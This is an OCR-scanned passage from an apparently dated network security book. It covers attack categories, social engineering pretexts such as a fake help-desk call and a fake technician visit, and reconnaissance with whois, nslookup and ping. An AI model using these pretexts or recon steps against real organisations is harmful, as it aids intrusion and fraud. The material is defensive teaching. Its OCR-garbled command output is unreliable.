(The 1507 ports scanned but not shown below are in state:
closed)

Port State Service

21/tcp open ftp
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23/tcp open telnet

25/tcp open smtp
79/tcp open finger
80/tcp open http
98/tcp open linuxconf
111/tcp open sunrpc
113/tcp open auth
513/tcp open login
514/tcp open shell
515/tcp open printer
969/tcp open unknown
1024 /tcp open kdm
1025/tcp open listen
1031/tcp open iad2
6000/tcp open X11

As you can see, these machines have several points of vulnerability. One
of the best things you can do from a security perspective is know which
ports are open on your machine and close any that are not needed.

Services

Services are programs that are running on a machine to perform a specific
function. For example, an NT server runs the server service to allow it to
process requests, and a DNS server runs a service that handles the
requests. Services become dangerous when they are running as root. If a
service is running as root, any command that it executes will run as root.
This means that if I am a normal user and I want to execute a process as
root, I just exploit a service that is running as root and I am all set.

Again, as with ports, the more services that are running, the more points
of vulnerability. Not only should you limit the number of services, but you
should limit at what priority they are running.

In NT, to see what services are running, you go to Control Panel and click
the Services icon. The Services dialog box appears, as shown in Figure
2.3.

Figure 2.3. Services information for Windows NT.
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In UNIX, to see what processes are running on the box, you issue the ps
command with the ef option. The e option tells it to select all processes,
and the f option does the full listing. The following is the output of
running ps -ef:

UID PID PPID C STIME TTY TIME CMD

root 1 0 0 Jullsg ? 00:00:09 init [5]

root 2 1 0 wulls ? 00:00:00 [kflushd]

root 3 1 0 Julls ? 00:00:04 [kupdate]

root 4 1 0 Jull8 » 00:00:00 [kpiod]

root 5 1 0 Jull8 » 00:00:01 [kswapd]

root 6 1 0 Julls ? 00:00:00 [mdrecoveryd]
bin 341 1 0 Jull8 » 00:00:00 portmap

root 356 1 0 Julls ? 00:00:00 [lockd]

root 357 356 0 Jull8 2 00:00:00 [rpciod]

root 366 1 0 Jull8 » 00:00:00 rpc.statd

root 395 1 0 Julls ? 00:00:00
/usr/sbin/automount --timeout 60

root 448 1 0 Jull8 » 00:00:10 syslogd -m O
root 457 1 0 Julls ? 00:00:19 klogd

nobody 471 1 0 Jullsg ? 00:00:00 identd -e -o
nobody 475 471 0 Jull8 2 00:00:03 identd -e -o
nobody 476 475 0 Jull8 2 00:00:00 identd -e -o
nobody 4777 475 0 Jull8 2 00:00:00 identd -e -o
nobody 478 475 0 Jull8 2 00:00:00 identd -e -o
daemon 489 1 0 Jull8 2 00:00:00 /usr/sbin/atd
root 503 1 0 Jull8 » 00:00:00 crond

root 521 1 0 Julls ? 00:00:00 inetd

root 535 1 0 Julls ? 00:00:00 1pd

root 583 1 0 Jull8 » 00:00:01 sendmail:
accepting connections

root 598 1 0 Julls » 00:00:46 gpm -t ps/2
root 612 1 0 Jull8 » 00:00:07 httpd

xfs 59 1 0 Jull8 2 00:00:00 xfs -droppriv
—-daemon -port -1

root 700 1 0 Jull8 ttyl 00:00:00 /sbin/mingetty
ttyl

root 701 1 0 Jull8 tty2 00:00:00 /sbin/mingetty
tty2

root 702 1 0 Jull8 tty3 00:00:00 /sbin/mingetty
tty3

root 703 1 0 Jull8 tty4 00:00:00 /sbin/mingetty
tty4d

root 704 1 0 Jull8 ttyb 00:00:00 /sbin/mingetty
ttyb

root 705 1 0 Jull8 tty6 00:00:00 /sbin/mingetty
tty6

root 706 1 0 Jull8 2 00:00:00 /usr/bin/gdm -
nodaemon
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root 716 706 0 Julls ? 00:00:16 /etc/X11l/X -
auth

By looking at the preceding output from UNIX, the first column lists what
the process is running as. As you scan down the list, you might notice that
several are listed as root. This means that if an attacker can exploit the
process, he can get any command to run on the system as root, and
remember, root can do anything.

Third-Party Software

Because we are all good security professionals, before we load a third-
party application or operating system, we obtain the source code, go
through it, and make sure it has no back doors. Then, we install the
software. Of course, no one does this, but we do place blind trust in the
software vendors that their software works as advertised. History has
shown that this is a very dangerous assumption to make, but we have no
choice. There have been cases where viruses were embedded within
shrink-wrapped software or software had back doors that were put in by
the vendor. Think of the many hidden features there are in various
operating systems. These are called easter eggs, and if you search the
Web, there are a large number of them. Go to www.eeggs.com to find a
large listing of these programs. Here is one example of an easter egg in
Windows 98.

Figure 2.4 shows what happens when you perform these steps:

Figure 2.4. An example of an easter egg in Microsoft 98.

This st represents but a portion
of the key people.

Microsoft

Windows 98

1. In the Windows directory, go to Application
Data\Microsoft\WELCOME.
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2. Create a shortcut for the file WELDATA.EXE by right-clicking the file
and selecting Create Shortcut.

. Right-click the newly created shortcut and select Properties.

. In the shortcut tab, add the following at the end of the Target edit
box: You_are_a_real_rascal. This causes the application
WELDATA.EXE to be called with the argument
You are a real rascal. The Target edit box should have the
following: C:\WINDOWS\Application
Data\Microsoft \WELCOME\WELDATA.EXE" You are a real rascal.

5. In the Run combo box, select Minimized.

6. Click OK, double-click the shortcut, and enjoy!

AW

If an operating system can get shipped with these hidden features
embedded within the code that no one knew about (including testing and
quality control), what other back doors exist? People now publicize easter
eggs because they are fun, but if a developer put a back door in an
operating system so he could get back in whenever he wanted, do you
think he would publicize it? Probably not. Just remember, a network is
only as secure as its weakest link, and because you do not have source
code to validate commercial software, that very well could be your
weakest link that an attacker uses to compromise your system.

Operating System

Previously, we compared an operating system to a house, but the doors
and windows of an operating system are the services it is running and the
ports it has open. The more services and ports, the more points of access;
the less services and ports, the less points of access. Based on that, you
would hope that a default install of an operating system has the least
number of services running and ports open. Then, if you need a service or
ports, you can install them on your system. This way, you control the
points of vulnerability in a system. In reality, the opposite is done: The
default install of most operating systems has a large humber of services
running and ports open.

The reason most manufacturers do this is simple: money. They want a
consumer of their product to be able to install and configure a system with
the least amount of effort and trouble. Every time a consumer has a
problem with their product, she has to call for support, which costs the
company large amounts of revenue. The less calls the manufacturer
receives, the less number of technical support staff, and the lower their
costs. Also, the less calls, the less frustration a user experiences, which
increases satisfaction with the product. If a consumer installs an operating
system and the services she needs, such as web and authentication, are
not present, most of the time she will call for help.
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It makes more sense to have everything installed by default, and if you
need it, it's there. If you do not need it, you will probably not notice it
until it is too late, after your company has been hacked! From a software
manufacturer’s perspective, it makes sense to include everything so they
do not get the calls. From a consumer’s perspective, it does not make
sense, because by default, you are installing a very non-secure operating
system, which most people do not fix. Most of the time this is
unintentional, because users are not familiar enough with an operating
system to realize how vulnerable it really is. To make matters worse, after
the operating system is installed, companies think their job is done and
fail to apply patches and updates. This leaves a company with outdated
operating systems, which have a large number of vulnerabilities. Not a
good position to be in security wise.

Passwords

Chapter 8, “Password Security,” is dedicated to passwords so we will only
briefly mention the topic here. Most companies do not realize how
important passwords are to the security of their systems. They also fail to
realize that passwords cannot be the only line of defense. Even if you
have strong passwords, you must have access controls to limit who can
access what, and logging to see if an attacker is trying to violate the

policy.

Passwords are also a common way to get into a system because
employees generally have very weak passwords. To make the problem
worse, the passwords never have to be changed, old accounts are not
removed from the system, and backdoor accounts are created for easy
access. All of these issues lead to the fact that passwords are a very easy
way for an attacker to breach a company. Interestingly, passwords are
one of the easiest things to secure because all of the tools you need are
built into the operating system. That, combined with some user awareness
sessions, and you can switch passwords from being your weakest link to
being your strongest link.

Social Engineering

The last category of exploits that we are going to look at is deception or
lying. Most people fail to realize that most successful attacks have some
element of deception involved. Some networks are wide open but, in most
cases, you have to use a technique called social engineering to acquire
additional information. Social engineering is basically when you convince
people to give you information they normally would not give, and you do
this by pretending to be someone else. The following paragraphs give
some examples of social engineering.
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An attacker looks at the web site for a startup company and notices that it
is expanding into many different regions across the country. He goes to
the jobs section and notices that the company is hiring a lot of people in
the Colorado office. The site also lists the name of the hiring manager.
The attacker correctly assumes that, because this region is hiring a lot of
people, this hiring manager is probably very busy. The attacker now has
enough information to launch the attack. He calls the operator and gets
the general number for the company. He calls asks to be connected to the
help desk. After the help desk answers, the attacker says, "I am a new
employee working for Pat (the hiring manager in Colorado). She just gave
me a bunch of tight deadlines and I need an account to get started. Pat
told me that normally I'd have to fill out some paperwork, but based on
the business demands, she said that you should set me up with an
account so that I can get started.” The attacker then apologizes for
putting the help desk in an awkward position, but explains that he has a
job to do. In a moment, the help desk is creating an account for the
attacker. The attacker now asks the help desk for one more favor,
“Because I am going to have to put in long hours and work from home,
can you also give me the numbers for dial-up access?” Ten minutes of
research and a five-minute call just gave an attacker full access to the
network. It might sound simple, but trust me it works.

This next example requires a little dressing up. The attacker puts on a
hardhat and shirt that say “"ABC Electrical and Cooling.” (You would be
amazed at what you can find at a second-hand store or in a dumpster.)
Then, either early in the morning or late at night, he finds someone
working and bangs on the door. Eventually, someone answers and the
attacker says there have been alarms that the cooling unit is not working
properly in the server room. The employee says things like, “I do not
know,” and “You will have to come back later.” The attacker says, “Fine,
but when the systems burn up and the whole network goes down, I am
going to put on my service sheet that you refused to let me in and you will
have to deal with it. Also, your company will be billed because I had to
come out.” Ninety-eight percent of the time this gets an attacker into the
building. Even if the employee escorts the attacker to the server room,
there is always enough time for him to slip some tapes in his bag. Or, if
he is taking a while, the employee will probably leave him alone to access
whatever servers he wants.

Now let’s take a look at a more informal social engineering attack—a
social setting. At a party, an attacker targets and strikes up a
conversation with someone who works in IT. He then plays the role that
he is thinking of applying for a job at that company but is interested in
exactly what this company does. You would be amazed at what people will
tell you if they think you're interested in them. After a 30-minute
conversation, an attacker would know what operating systems, version,
patch levels, applications, and so on that a company is using. I have even
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known people to tell about security vulnerabilities and ways attackers
could get into the system. Why wouldn’t they tell, he is a future employee
of the company, isn’t he?

The key to remember with social engineering is that there is a fine line
between trusting everyone and trusting no one. On the one hand, if
someone calls up and asks for an account, giving it to them is probably
too risky. On the other hand, if someone asks for an account and you say,
“No way, forget it,” you could lose your job. I have found that being
creative works very well. For example, if someone calls for a new account,
offer to call back with the information. You can either ask for his number
and verify that it is a company extension or look him up in the company
directory and use that number. If the attacker or employee says is that he
is working from home and got locked out of his account, offer to leave the
information on his company voice mail. He can call back in 15 minutes to
retrieve the information. Because social engineering is an example of
spoofing, it is covered in more detail in Chapter 4, “Spoofing.”

Trojan Horses

A common way that an attacker gains access to a machine on a remote
network is through the use of a Trojan horse program. A Trojan horse is a
program that has two features: an overt (or open) feature and a covert
(or hidden) feature. A Trojan horse works by running a hidden feature in
the background while the open feature is running. For example, if an
attacker wants to gain access to your system, he could send you an email
attachment that does something cool; but in the background, it is creating
a way for the attacker to get back into your system whenever he wants.

Inference Channels

This is not one of the more popular methods that attackers use. An
inference channel gathers information from open sources and surrounding
events to collect sensitive information. In this case, indirect information
can be just as valuable as direct information. For example, let’s say the
government is awarding a contract for a very sensitive project and it does
not want to reveal who won the contract, but an attacker knows the five
finalists. In the following weeks, he can sit outside the headquarters of the
five companies and read the newspaper. If he notices one company
receiving a large number of shipments and it is also advertising in the
paper for several new positions, the attacker can infer who won the
contract. Or in another example, if an attacker sits outside an office
building and notices that a company receives several boxes from Microsoft
three weeks after the release of Windows 2000, he can make a pretty
good guess that this company is upgrading its systems.
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With inference channels, there is no breach in security because the
attacker is using open, available information to gather data about a
company.

Covert Channels

A covert channel has a security breach because it involves a trusted
insider who is sending information to an unauthorized outsider in a covert
fashion. For example, an employee wants to let an outsider know if his
company won a big contract. The two could come up with a scheme to
communicate this information secretly. The employee could tell the
outsider to come by the office building at 3:00 p.m. and observe the
corner office on the third floor. He could then leave a signal. For example,
if there is a plant in the window, the company won the contract; if there
isn't a plant in the window, the company did not win the contract. As you
can see, this example uses a very simple scheme, but it would be very
difficult for someone to figure out the communication

Goals Attackers Try to Achieve

There are so many different types of exploits and variants that it is
sometimes difficult to categorize all of them. Because exploits, in essence,
compromise security, it is helpful to look at the core components of
network and computer security to see how exploits fit in. The following are
the three goals of information security:

- Confidentiality. Preventing, detecting, or deterring the improper
disclosure of information.

« Integrity. Preventing, detecting, or deterring the improper
modification of data.

« Availability. Preventing, detecting, or deterring the unauthorized
denial of service to data.

An easy way to remember these goals is to take the first letter of each
word, CIA, which can either mean the Culinary Institute of America or that
special government agency located in Washington DC. It is important to
point out that when most people think of security, they only think of
confidentiality, not integrity and availability. I conducted a survey that
consisted of 200 users ranging from highly technical to low technical
expertise and asked them to give me their definition of security. Ninety-
five percent of the respondents indicated confidentiality in their definition,
only three percent indicated integrity, and only five percent indicated
availability. To better understand exploits, let’s briefly look at each of
these areas of security.
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Confidentiality

How do you control access to sensitive information and only allow
authorized people to have access to it? When most people think of
security, they think of confidentiality or controlling access to sensitive
information.

The obvious attacks against confidentiality are things like a competitor or
credit card thief breaking into your databases and making away with your
company’s vital secrets, but sometimes threats against confidentiality are
not so obvious or sophisticated. Employee errors like not properly
disposing of papers that ought to be shredded or network administrators
who accidentally bring a crashed system back up with wide open
permissions can create huge openings in your system.

Some ways to close up the biggest holes that make your company
vulnerable to attacks against confidentiality are to examine your
permissions setup carefully and to educate your employees on good
security principles. Making sure that only the people who actually need
access have access, and that your employees are aware of and controlling
possible weaknesses will go a long way toward keeping your company’s
confidential information just that, confidential.

In several cases, theft results in an attack against confidentiality or a loss
of confidentiality. Sometimes, if a perpetrator steals memory or a CPU,
this intrusion is more of a disruption of service or an attack against
availability. However, the theft of items like hard drives or documents,
which is more likely to occur, result in an attack against confidentiality.
This is true because unauthorized users now have access to a company’s
data.

Unfortunately, placing a dollar value on attacks against confidentiality is
extremely difficult. If a business development employee is working on
three major proposals and his laptop is stolen, there are several ways to
look at the total loss:

e Cost of the equipment: $3,000
e Cost of project bids lost: $2,000,000
e Cost of additional sales: $10,000,000

Because there were no recent backups of the proposals, the company
cannot bid, so it loses the revenue that those proposals would have
generated. Each proposal was for a million dollar project, and they had a
good chance of winning two of them.

One of the company’s competitors that would have gone out of business if
it hadn't won two of the contracts now has a great chance of winning
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because this company cannot bid. If its competitor had gone out of
business, it would have guaranteed the company 10 million dollars in
additional sales.

You could probably add several other items to this list, but as you can see,
the simple theft of a laptop can result in a multi-million dollar total loss
based on the attack against confidentiality. When these types of attacks
occur, be careful not to underestimate the damage it has to your
company.

Integrity

Integrity deals with preventing, detecting, or deterring the improper
modification of data. In some instances, there is an overlap between
confidentiality and integrity because to change information, you usually
need access to it—but not always. For example, what if a student is given
information that a certain field in a database contains his grades, but the
field is encrypted; he can access the database but cannot read the
information in certain fields. However, if the student knows of a classmate
who received an A, he could copy that student’s encrypted grade into his
grade field and have a high probability that the encrypted field that was
copied contains an A. In this case, there is no confidentiality issue because
the student cannot read the information, but there is an integrity issue
because the student can modify his grade without the proper
authorization. There are cases where you would want someone to have
access to information but not be able to change it. For example, a
company could allow employees to have access to their salary information
but not be allowed to change it. Attacks against integrity involve an
unauthorized person making modifications to information and/or data.
Attacks against integrity are difficult to defend against because they are
only noticed after they have occurred and the system has been
compromised. In other words, if someone can modify your data, the usual
way you find out about it is that someone complains or there is a major
problem, such as a proposal getting submitted with the wrong values.
Therefore, implementing proper checks and balances on your systems that
handle sensitive information is very important to guarantee that integrity
is maintained. Most companies do not understand that attacks against
integrity are a big threat, but hopefully the previous examples will help
change their minds.

Availability
With both confidentiality and integrity attacks, an attacker needs to gain
some access to a corporate network. An availability attack, however, can

be performed against any system that is connected to the Internet. This is
why availability attacks are so difficult to defend against.
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In this day and age, when employees come to rely on networks and email
to perform their jobs, having access to these components at all times is a
key factor for the success of most companies. In other words, data,
information, servers, networks, and so on should be available to
authorized users when and where they need them. If an employee needs
to dial in remotely to access a copy of a proposal, the employee should
not only be able to successfully connect, but be able to access the data
they need in a timely manner

Summary

Until you know what you are up against you cannot start to build proper
defenses. Many companies think they are secure because they spend a lot
of money on security. Unfortunately, a large humber of companies spend
in the wrong areas. What good is spending money or building defense
mechanisms that do not protect your site against the attacks that are
occurring. The information in this chapter has helped lay the groundwork
to understand the rest of this book and, more importantly, to secure your
network. Now that we have a general understanding of the process
attackers go through to compromise a system and the type of attacks that
exist, we can start to take a more detailed look at some of these specific
attacks

Chapter 3. Information Gathering

Many companies only concentrate on protecting their systems from a
specific exploit when they start building a security infrastructure. They
figure out what patches need to be applied to their systems, and after
they apply them, they think they are secure. However, they do not realize
that through reconnaissance and information gathering, an attacker can
acquire a large amount of information about their sites.

Before an attacker can run an exploit, he needs to understand the
environment he is going after. In doing so, he needs to gather preliminary
information about the number of machines, type of machines, operating
systems, and so forth. If someone was going to rob a bank, they would
not just wake up one day and randomly pick a target. They would scope
out the possible targets and gather information about how the bank
works, where the guards stand, when they change shifts, possible
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weaknesses that can be exploited, and based on that information, they
would decide not only which target to attack, but how to attack it. No
matter what the target is, before an attacker goes after it, he has to
gather as much information as possible, so his chances of success are
very high. In most cases, whether an attack is successful or not is directly
related to how much information was gathered about the target. As you
will see, if an attacker performs the information gathering stage correctly
and in enough detail, access is almost guaranteed.

Therefore, it is key for a company to know what information an attacker
can acquire about it and minimize the potential damage. When I perform
security assessments, I perform information gathering against a company
to try to find out its points of vulnerability. In doing so, I acquire a lot of
useful information about the site. In some cases, I take the information
and produce a network map of the company, and in several cases, the end
result was a better map than the companie’s IT department had. The
question I pose is this: After an attacker has a detailed map of your
network and knows exactly what software and versions are running on
each machine, how hard is it for him to successfully exploit your network?
The answer is simple. After someone has that much information, the
network is as good as compromised. Therefore, it is key that an attacker
only gains limited information about a network

Steps for Gathering Information

The following are the seven basic steps an attacker would take to gather
information about a target. After each step are some of the tools an
attacker would use to gain the information he needs to exploit the target:

1. Find out initial information:
o Open Source
o Whois
o Nslookup
2. Find out address range of the network:
o ARIN (American registry for internet numbers)
o Traceroute
3. Find active machines:
o Ping
4. Find open ports or access points:
o Portscanners:
Nmap
ScanPort
War Dialers
o THC-Scan
5. Figure out the operating systems:
o Queso
o Nmap

o O O
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6. Figure out which services are running on each port:
o Default port and OS
o Telnet
o Vulnerability scanners
7. Map out the network:
o Traceroute
o Visual ping
o Cheops

In this chapter, we will take a look at each of the seven steps and
examine how each of the tools work. Not only will we see how they can be
used by an attacker to compromise a system, but we will show you how to
use them to protect your system. Most people have a negative view
towards tools that can be used to compromise systems because they fail
to realize the benefit of using these tools. If you understand and use these
tools on a regular basis, they can be used to increase the security of your
site. Also, if you use them to increase your security and protect your site,
then the value of these tools to an attacker decreases. The thing to learn
from this chapter is that these tools should be embraced. The more you
know and understand how an attacker breaks into a network helps you
increase the security at your site. After we cover all the steps and tools,
we will finish the chapter with an example of red teaming, which shows
how you can simulate an attack to determine and fix your vulnerabilities
before a real attacker exploits them.

Find Out Initial Information

For an attacker to compromise a machine, he needs to have some initial
information, such as an IP address or a domain name. In this chapter, we
will be assuming that the system the attacker is targeting uses a static IP
address, which is true for most servers. A static IP address is where the IP
address stays the same each time the system is rebooted. This is the
opposite of a dynamically assigned IP address, which could potentially
change each time the system is rebooted.

If an attacker is specifically going after your site, he will know your
address well in advance and will concentrate solely on compromising your
network. This occurs in situations where a company has information that
an attacker wants. For example, in cases of corporate espionage, a
company wants my company’s trade secrets, and therefore, will target my
company’s network and no one else’s.

Other attackers just randomly scan the Internet looking for networks that
either look easy to compromise or look like they might have valuable
information. For example, attackers who run distributed attacks against
other companies need machines they can use to launch the attacks. They
do not care whose machines they are, as long as they can be
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compromised in a short period of time. This is why it is so important that
you tighten your security as much as possible. If someone does a basic
port scan and does not find a lot of open ports, but he scanned twenty
other networks that have open ports, he might pass up your network and
go after someone else’s. The key is not to look like an attractive target.

Now that an attack has a given domain name, the attacker will need to
gather information about the site. Information, such as IP addresses or
people who work at the site, can all be used to help launch a successful
attack. Now let’s look at some ways that can be used to gather the initial
information.

Open Source Information

In some cases, companies give away large amounts of information
without knowing it. Information that a company thinks is general
information or information that could help bring in clients could also
provide useful information that would greatly simplify an attacker’s job.
This information is generally called open source information. Open source
is general information about a company or its partners that anyone can
obtain. This means that accessing or analyzing this information requires
no criminal element and is perfectly legal. Because of this, it is key for
companies to control and limit the information they give away.

Let’s look at an example.A company that provides managed services just
built a state of the art network operations center, and in the goal of
attracting customers, it posts a press release to its web site. The press
release states something like the following:

“Company X is proud to announce the opening of its new state of the art
network operations center. Company X has built a premier center to
provide its customers with the best monitoring capabilities around. All
monitoring stations are running Windows 2000, which access data across
a state of the art Cisco network consisting of Cisco’s latest switches and
routers. In addition, HP Openview and Nervecenter are used to monitor
the systems with several Solaris workstation and servers. The center also
has three points of access to Internet, which provide a high level of fault
tolerance.”

As you can see, this might attract new clients, but it is also giving
attackers a road map for how to compromise the network. For example, if
an attacker is going to launch a Denial of Service attack against this
company, the attacker knows he has to take down three points of
connectivity to the Internet. This information will help an attacker do his
homework before an attack, which increases the success of his attack.
Telling customers that their operations center has been upgraded with
state of the art equipment is one thing, but giving specifics is probably
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giving away too much of the farm. If a customer is really interested, let
them call a sales person to tell them about all the great equipment, but do
not give it away to the public. Not only does this give an attacker valuable
information, but a company is also showing its cards to a competitor,
which can use this information against them.

Support staff at a company need to know what information a company is
giving away. For example, on most web sites companies have a directory
listing where someone can find out not only the CEO and COO, but
possibly who the VPs and directors of the company are. If the help desk
does not know this information is publicly available and an attacker calls
up claiming he works for an individual, the help desk might view this as
sufficient information to believe the attacker. Therefore, it is key for
companies to limit the individuals listed on a public site, and in cases
where they want to showcase a member of the executive team, they
should make sure everyone is aware that this information is publicly
available.

Not only would an attacker search a company’s web site, but he might
search related web sites. For example, publicly-traded companies have to
register and provide information to the government, and the government
makes these databases available through the Internet. One such database
is run by the SEC and is called edgar: http://www.sec.gov/edgarhp.htm.
News groups also provide valuable information. One reason is that more
and more support staff are using news groups to help solve their
company'’s problems. For example, if a company is having problems with a
mail server, an IT person might post a question to a news group asking
for help. Looking at these requests and matching them to the company
name in the email can provide a lot of useful information. Not only does it
tell an attacker what equipment a company has, but it helps him gauge
the sophistication of the staff. Also, partners like to link to each others’
sites to help drum up business. The Altavista search engine has a feature
called link. Typing 1ink: followed by a URL address in the search field will
tell you every site that has a link to the URL referenced. This can quickly
identify a company’s partners. You also might be quite surprised by who is
referencing a company'’s site. In one case, an underground site actually
had links to all the sites it has compromised. If a company is on that list,
it might want to know about it.

Finally, what is available to a casual browser and what files actually exist
on a company’s web server are two different things. When an attacker
connects to a web site, he clicks links to navigate the site, and by doing
this, he can only access pages that are directly accessible to the links. A
lot of sites also have what they call orphan pages, which are pages that
exist on the web server but are not directly accessible because they are
not linked by any page. These orphan pages can be accessed if the
attacker knows the name of the file. An easier way is to use one of the
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many web spider programs to download an entire site. This will give the
attacker a list of every page that is on the server. This usually provides
valuable information because web developers upload test pages, but never
remove them, and because they are not directly linked to any other page,
the developer thinks they are safe. I have done this and downloaded
sample pages that contained active accounts and other useful information.

A company can never remove all open source information, however by
being aware of it, the company can do things to minimize the potential
damage. As you will see with whois, any company that has a domain
name must give away certain information.

Whois

To gather information, we need an address or a starting point. With the
Internet, the initial address usually takes the form of a domain name. For
our examples, the attacker is going to use the domain name of
newriders.com, although some of the information has been changed to
protect the innocent. The first thing an attacker is going to do is run the
whois program against this domain name to find out additional
information. Most versions of UNIX come with whois built in. So, the
attacker could just go to a terminal window or the command prompt and
type whois newriders.com. For help, the attacker could type whois 2 to
get a listing of the various options. The following are some of the options
available with whois 1.1 for Linux:

Whois Server Version 1.1

Domain names in the .com, .net, and .org domains can now be
registered with many

different competing registrars. Go to http://www.internic.net
for detailed

information.

Enter a a domain, nameserver, or registrar to search for its
information. You may

also search for nameservers using IP addresses. WHOIS will
perform a broad search

on your input. Use the following keywords/characters to
narrow your search or

change the behavior of WHOIS.

To search for a specific record TYPE:

domain
nameserver
registrar
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Other WHOIS keywords:

Expand Show all parts of display without
asking.

FU1ll or '=" Show detailed display for EACH
match.

SUMmary or 'S$' Always show summary, even for
only one match.

HELP Enters help program for full
documentation.

PArtial or trailing '.' Match targets STARTING with given
string.

Q, QUIT, or hit RETURN Exits WHOIS.

Your search will match everything BEGINNING with your input if
you use a trailing

period ('.') or the 'PArtial' keyword. For example, entering
"domain mack." will

find names "Mack", "Mackall", "MacKay". The "domain",
"registrar", and

"nameserver" keywords are used to limit searches to a specific
record type.

EXAMPLES :
domain root
nameserver nic
nameserver 198.41.0.250
registrar Network Solutions Inc.
net.
= net
FU net
full net
$ ibm.com
SUM ibm.com
summary ibm.com

Search for a domain, nameserver, or registrar using its full
name to ensure that a

search matches a single record. Type "HELP" for more complete
help; hit RETURN to

exit.

>>> Last update of whois database: Wed, 19 Jul 00 03:09:21 EDT
<<<

The Registry database contains ONLY .COM, .NET, .ORG, .EDU
domains and Registrars.

With Windows operating systems, the attacker would have to get a third-
party tool to perform whois lookups. There are several available on the
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Internet with different features and prices. A good starting point is to go
to http://www.tucows.com, search whois, and get a long list of various
programs that perform whois queries. The one I prefer is called Sam
Spade and is also available at tucows. When you start up Spade, you get
the screen shown in Figure 3.1.

Figure 3.1. Initial screen of Sam Spade.
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Spade has a lot of utilities, not just whois, so it is a handy tool to have.
Most of the steps we talk about in this chapter can be accomplished with
Spade. We will talk about other tools, because in some cases, they are a
little more straightforward or provide additional information.

Now that an attacker has the tools he needs, he would run a whois query
on the targeted domain, newriders.com, and obtain the following
information:

wholis newriders.com 1s a domain of USA & International
Commercial
Searches for .com can be run at http://www.crsnic.net/

whois -h whois.crsnic.net seccomputing.com
Redirecting to NETWORK SOLUTIONS, INC.

whois -h whois.networksolutions.com seccomputing.com

Registrant:
Eric C (NEWRIDERS-DOM)
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12345 Some Drive
Somewhere, SA 20058
Us

Domain Name: NEWRIDERS.COM

Administrative Contact, Technical Contact, Zone Contact,
Billing Contact:
C, Eric (EC2515) ERIC@someaddress.COM
Eric C
12345 Some Drive
Somewhere, SA 20058
us
(555) 555-5555 (FAX) (555)555-5555

Record last updated on 22-Jul-1999.

Record expires on 17-Apr-2001.

Record created on 17-Apr-1998.

Database last updated on 19-Jul-2000 04:37:44 EDT.

Domain servers 1in listed order:

MAILZ .SOMESERVER 151.196.0.38
MAIL1.SOMESERVER 199.45.32.38

By looking at this output, an attacker would get some very useful
information. First, he gets a physical address, and some people’s names
and phone numbers. This information can be extremely helpful if an
attacker is launching a social engineering attack against your site. An
attacker basically has general information about the company and names
and phone numbers for key people in the organization. If an attacker calls
up the help desk and inserts this information into the conversation, he
could convince the help desk that he does work for the company, and this
can be used to acquire access. Because the people listed in the whois
record are usually pretty high up and well known in a company, most
people will not question the information that is being requested. So, if an
attacker calls up and says, "I just got put on this sensitive project and Eric
C told me to call up and get an account immediately, and I have his
number if you would like to call him”. Most technical staff would not
realize that someone could get this information from the web, so they
would think the request was legitimate and would probably process it.

Going to the end of the whois listing, we have two very important IP
addresses, the primary and secondary name servers that are authoritative
for that domain. An attacker’s initial goal is to get some IP addresses of
machines on the target network, so he knows what to attack. Remember,
domain names are used because they are easier for humans to remember,
but they are not actually addresses for machines. Every machine has to
have a unique address, but it does not have to have a unique domain
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name. Therefore, the unique address that an attacker is looking for is the
IP address. The more IP addresses an attacker can identify as being on
the target’s network, the better chance he has of getting into the network.

Nslookup

One way of finding out additional IP addresses is to query the
authoritative domain name servers (DNS) for a particular domain. These
DNS servers contain all the information on a particular domain and all the
data needed to communicate with the network. One piece of information
that any network needs, if it is going to send or receive mail, is the MX
record. This record contains the IP address of the mail server. Most
companies also list web servers and other IPs in its DNS record. Most
UNIX and NT systems come with an nslookup client built in or an attacker
can use a third-party tool, such as Spade.

The following is the output from running nslookup:

03/28/00 12:35:57 dns newriders.com
Mail for newriders.com is handled by serverl.newriders.org
Canonical name: new riders.org
Addresses:
10.10.10.5
10.10.10.15

Now an attacker has a couple of IP addresses that are on the domain. This
can be used to start mapping out the network.

Another simple way to get an address is to ping the domain name. In
cases where an attacker only has a domain name, he can either perform a
reverse lookup or he can just ping the domain name. When trying to ping
a domain name, the first thing the program does is try to resolve the host
to an IP address, and it prints the address to the screen. The following is
the output from the ping command:

Pinging newriders.com [10.10.10.8] with 32 bytes of data::
Request timed out.

Request timed out.

Ping statistics for 10.10.10.10:

Packets: Sent = 2, Received = 0, Lost = 2 (100% loss),
Approximate round trip times in milli-seconds:

Minimum = Oms, Maximum = Oms, Average = 0Oms Control-C

Now an attacker has a couple of addresses on the network that can be

used as a staring point. It is important to note that I am using the
10.x.x.x addresses in my examples just to make sure we do not upset a
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company by using its legitimate IP addresses. The 10 network is a private,
non-routable address and, therefore, should be fairly safe to use.

One other note is that if a company is using a virtual ISP to host its web
site, an attacker could receive various addresses when he performs an
nslookup. A virtual ISP is where a single server is actually hosting several
sites for various companies. It is important to realize this and be able to
filter out which are the company’s IP addresses and which are someone
else’s. The easier way to figure this out, in most cases, is the mail will go
directly to the company. So, if the mail and web addresses differ
significantly, an attacker might want to do a reverse lookup on the IP
addresses of the web servers. If they belong to an ISP, then those
addresses are outside the range of the company and should be ignored.

Find the Address Range of the Network

Now that an attacker has the IP addresses of a couple of machines, he
wants to find out the network range or the subnet mask for the network.
For example, with the address 10.10.10.5, without knowing the subnet
mask, the attacker has no way of knowing the range of the address. The
main reason he wants to know the address range is to make sure he
concentrates his efforts against one network and does not break into
several networks. This is done for two reasons. First, trying to scan an
entire class A address could take a while. Why would an attacker want to
waste his time, if the target he is going after only has a small subset of
the addresses? Second, some companies have better security than others.
Going after a larger address space increases the risk because now an
attacker might break into a company that has proper security, and that
company would report the attack and set off an alarm. For example, if the
subnet mask is 255.0.0.0, then the entire 10 network belongs to that
company, and an attacker can go after any machine. On the other hand, if
the subnet mask is 255.255.255.0, then he can only go after 10.10.10.x
because 10.10.11.x belongs to someone else.

An IP address is actually composed of two pieces: a network portion and a
host portion. All computers connected to the same network must have the
same network portion of the address but different host addresses. This is
similar to houses. Two houses on the same block must have the same
street address but different house numbers. The subnet mask is used to
tell a system which part of the IP address is the network portion and
which part is the host portion. For more information on IP addresses and
subnets, see “TCP/IP Illustrated, Volume 1", by Richard Stevens.

An attacker can find out this information two ways, an easy way and a
hard way. The easy way is to use the American Registry for Internet
Numbers (ARIN) whois search to find out the information. The hard way is
to use traceroute to parse through the results.
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ARIN

ARIN lets anyone search the whois database to “locate information on
networks, autonomous system numbers (ASNs), network-related handles,
and other related Points of Contact (POCs).” Basically, the normal whois
will give someone information on the domain name. ARIN whois lets you
query the IP address to help find information on the strategy used for
